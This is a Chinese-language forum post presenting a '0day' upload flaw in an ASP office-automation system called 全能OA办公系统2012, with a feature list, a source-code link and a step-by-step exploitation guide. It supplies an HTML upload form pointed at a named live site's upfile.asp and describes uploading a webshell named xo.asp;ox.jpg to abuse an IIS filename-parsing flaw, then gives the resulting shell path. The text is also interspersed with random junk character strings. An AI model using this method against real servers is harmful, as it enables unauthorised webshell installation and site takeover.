全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
5 I6 B: @: |/ B$ z1 y- a7 X, B​
4 v+ o' `/ V8 d4 }5 r4 o7 V& [% b系统介绍：

全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。

主要功能：
7 c5 M/ b* n& Q. V9 L* S) e* D公司通告
5 f( @  m& I" h+ g' K) [6 N( g工作计划
通讯助理
% h: R6 x% |1 v- B; Z( }7 t0 j客户资源
* Y6 x! r' \7 G3 V! Q# J) i  V5 q* k8 b我的公文
, E; V# |5 w) O公文传阅
公共资源
) Q- D& i! J) ]8 V资源预约
今日考勤
; L" B5 r2 j' X: V: w% }6 c) r3 l, \个人计划
1 o4 N% R) n5 G8 l! y个人通讯录
/ C* O3 Q3 z. @5 c- y个人基本档案
; B# @+ G3 u# w9 b7 r* h; z7 I' n' z未读邮件
! u* y  l" C" M! N- g0 Q  k发邮件
收件夹
; i; d; z- _$ i% j寄件夹
% ?* h3 ]/ k& W. p# L- s网络硬盘
网络会议
; k+ V2 }0 n; i9 V2 {1 u" i网络调查
交流论坛
6 p: z: N1 [6 b* Q9 w: t1 g0 T8 k
有兴趣测试的朋友可以下源码看看

. a0 X/ }. `' ^& ?( E* r+ H源码下载：

http://www.mycodes.net/30/4750.htm
  B& t: P2 }' g) D+ n
; @- [' R- j/ P* n! E2 Y漏洞介绍：

由upfile.asp上传文件漏洞引起
1 P7 G2 |0 `5 T2 {3 U
3 l: B( ]- w' X% d2 N- ?测试方法：

使用名小子上传http://www.itlynn.com/upfile.asp即可

如果upfile.asp文件被删除不存在。
* |% |! l6 F0 y7 \7 e& ]
  Z& b( q8 m, M' l1 Q' }0 M5 o0 P: z% y  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。

如果存在那么将如下代码保存为upfile.html。
( f* V1 J6 w; ~8 `" Y
然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。

- Y8 H& K$ B" ?8 L
- p8 Y- g$ J- a+ }
01 <table border='0' align="center" cellpadding="5">

02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">

03 <tr>

04             <td>报错：</td>

05             <td><input type='radio' name='errnumber' value='0'>

06               自动更名

07               <input type='radio' name='errnumber' value='1' checked>
2 T0 E6 w' Z5 _9 _1 h: M
5 d+ _- o# s3 r# k7 W- Z1 I) D08               报错方式

: b% `7 I7 ]/ D09               <input type='radio' name='errnumber' value='2'>

8 y* t- `: q8 w$ x9 K1 P& w10               直接覆盖</td>

) S8 c' j4 x1 \! y/ i% E  q11           </tr>

12           <tr>
# g# g8 o( R. V; l/ c$ n
& F% B4 |9 \" G4 A* ]13             <td>主题：</td>
7 J8 S% b! m/ U& j8 m" |1 ^
14             <td><input type='text' name='filename' size='30'></td>
  J7 @$ z' n* y3 @8 d) t+ j
15           </tr>

16           <tr>
2 P6 Q( o* b5 m$ S3 Y* ~
17             <td>文件：</td>

18             <td><input type="file"name="fruit"size="30"></td>
) x/ D: [2 F, ^$ o7 R& ]
19           </tr>
/ O3 i' l0 K( i" X2 g0 N
20           <tr>
  P- o! E, [+ p0 b+ [0 U
; s, R7 j- U0 G! X21             <td valign='top'>简介：</td>

22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>
6 C3 F8 n' m' E3 |1 O4 G
23           </tr>

24   
+ L& h# Z; |2 w2 ~5 _
! \: f- ?9 W: T# t% p25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>
  z$ u  F; b4 i3 j
26           </tr>
" ]# z3 n8 I" N0 Z
& E: h; w( U' W' F, }27         </form>

然后打开上传一个文件名为xo.asp;ox.jpg的文件。

+ T; g* s: e9 n% B6 b

+ \6 i! `$ n! L+ S上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg

此漏洞需要配合解析漏洞利用。
4 L3 o/ L5 y, F% f$ V